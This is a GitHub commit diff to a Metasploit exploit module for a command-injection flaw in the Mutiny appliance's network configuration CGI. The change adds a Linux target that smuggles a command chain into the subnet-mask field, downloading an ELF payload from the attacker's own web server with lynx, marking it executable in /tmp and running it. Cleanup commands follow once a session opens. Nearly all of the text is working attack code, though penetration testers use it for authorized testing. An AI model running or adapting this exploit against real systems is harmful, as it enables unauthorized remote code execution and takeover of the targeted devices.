Skip to content

Commit fdd7c37

Browse files
author
jvazquez-r7
committed
added linux native target
1 parent 03f3b06 commit fdd7c37

File tree

1 file changed

+130
-17
lines changed

1 file changed

+130
-17
lines changed

modules/exploits/unix/webapp/mutiny_subnetmask_exec.rb renamed to modules/exploits/multi/http/mutiny_subnetmask_exec.rb

Lines changed: 130 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
1416

1517
def initialize(info = {})
1618
super(update_info(info,
@@ -37,21 +39,37 @@ def initialize(info = {})
3739
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
3840
],
3941
'Privileged' => true,
42+
'Platform' => [ 'unix', 'linux' ],
4043
'Payload' =>
4144
{
4245
'DisableNops' => true,
43-
'Space' => 4000,
44-
'Compat' =>
46+
'Space' => 4000
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Unix CMD',
4551
{
46-
'PayloadType' => 'cmd',
47-
'RequiredCmd' => 'generic python',
52+
'Arch' => ARCH_CMD,
53+
'Platform' => 'unix',
54+
#'Payload' =>
55+
# {
56+
# 'Compat' =>
57+
# {
58+
# 'PayloadType' => 'cmd',
59+
# 'RequiredCmd' => 'python'
60+
# }
61+
# },
4862
}
49-
},
50-
'Platform' => 'unix',
51-
'Arch' => ARCH_CMD,
52-
'Targets' => [[ 'Automatic', { }]],
63+
],
64+
[ 'Linux Payload',
65+
{
66+
'Arch' => ARCH_X86,
67+
'Platform' => 'linux'
68+
}
69+
]
70+
],
5371
'DisclosureDate' => 'Oct 22 2012',
54-
'DefaultTarget' => 0))
72+
'DefaultTarget' => 1))
5573

5674
register_options(
5775
[
@@ -65,19 +83,94 @@ def peer
6583
"#{rhost}:#{rport}"
6684
end
6785

86+
def lookup_lhost()
87+
# Get the source address
88+
if datastore['SRVHOST'] == '0.0.0.0'
89+
Rex::Socket.source_address('50.50.50.50')
90+
else
91+
datastore['SRVHOST']
92+
end
93+
end
94+
6895
def on_new_session(session)
69-
return unless @netmask_eth0
70-
print_status("#{peer} - Restoring Network information")
96+
cmds = []
7197
cmds = [
7298
%Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
7399
%Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|,
74100
%Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
75101
%Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|,
76102
%Q|mv -f ifcfg-eth0.bak ifcfg-eth0|,
77103
%Q|/etc/init.d/network restart|
78-
]
79-
session.shell_command_token(cmds.join(" ; "))
80-
print_good("#{peer} - Network information restored")
104+
] unless not @netmask_eth0
105+
cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/
106+
107+
print_status("#{peer} - Restoring Network Information and Cleanup...")
108+
begin
109+
session.shell_command_token(cmds.join(" ; "))
110+
rescue
111+
print_error("#{peer} - Automatic restore and cleanup didn't work, please use these commands:")
112+
cmds.each { |cmd|
113+
print_warning(cmd)
114+
}
115+
end
116+
print_good("#{peer} - Restoring and Cleanup successful")
117+
end
118+
119+
def start_web_service
120+
print_status("#{peer} - Setting up the Web Service...")
121+
122+
if datastore['SSL']
123+
ssl_restore = true
124+
datastore['SSL'] = false
125+
end
126+
127+
resource_uri = '/' + @elfname + '.elf'
128+
service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
129+
130+
print_status("#{peer} - Starting up our web service on #{service_url} ...")
131+
start_service({'Uri' => {
132+
'Proc' => Proc.new { |cli, req|
133+
on_request_uri(cli, req)
134+
},
135+
'Path' => resource_uri
136+
}})
137+
datastore['SSL'] = true if ssl_restore
138+
139+
return service_url
140+
end
141+
142+
# wait for the data to be sent
143+
def wait_linux_payload
144+
print_status("#{peer} - Waiting for the victim to request the ELF payload...")
145+
146+
waited = 0
147+
while (not @elf_sent)
148+
select(nil, nil, nil, 1)
149+
waited += 1
150+
if (waited > datastore['HTTP_DELAY'])
151+
fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
152+
end
153+
end
154+
155+
#print_status("#{peer} - Giving time to the payload to execute...")
156+
#select(nil, nil, nil, 20) unless session_created?
157+
158+
print_status("#{peer} - Shutting down the web service...")
159+
stop_service
160+
end
161+
162+
# Handle incoming requests from the target
163+
def on_request_uri(cli, request)
164+
vprint_status("#{peer} - on_request_uri called, #{request} requested")
165+
166+
if (not @elf_data)
167+
print_error("#{peer} - A request came in, but the ELF archive wasn't ready yet!")
168+
return
169+
end
170+
171+
print_good("#{peer} - Sending the ELF payload to the target...")
172+
@elf_sent = true
173+
send_response(cli, @elf_data)
81174
end
82175

83176
def check
@@ -135,8 +228,22 @@ def exploit
135228
end
136229

137230
print_status("#{peer} - Exploiting Command Injection...")
138-
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
139-
injection << "; #{payload.encoded}"
231+
232+
if target.name =~ /CMD/
233+
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
234+
injection << "; #{payload.encoded}"
235+
else
236+
print_status("#{peer} - Generating the ELF Payload...")
237+
@elf_data = generate_payload_exe
238+
@elfname = Rex::Text.rand_text_alpha(3+rand(3))
239+
service_url = start_web_service
240+
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
241+
injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf"
242+
injection << "; chmod +x /tmp/#{@elfname}.elf"
243+
injection << "; /tmp/#{@elfname}.elf"
244+
245+
end
246+
140247
send_request_cgi({
141248
'method' => 'POST',
142249
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
@@ -151,7 +258,13 @@ def exploit
151258
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
152259
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
153260
}
154-
})
261+
}, 1)
262+
263+
if target.name =~ /Linux Payload/
264+
wait_linux_payload
265+
end
155266
end
156267

268+
269+
157270
end

0 commit comments

Comments
 (0)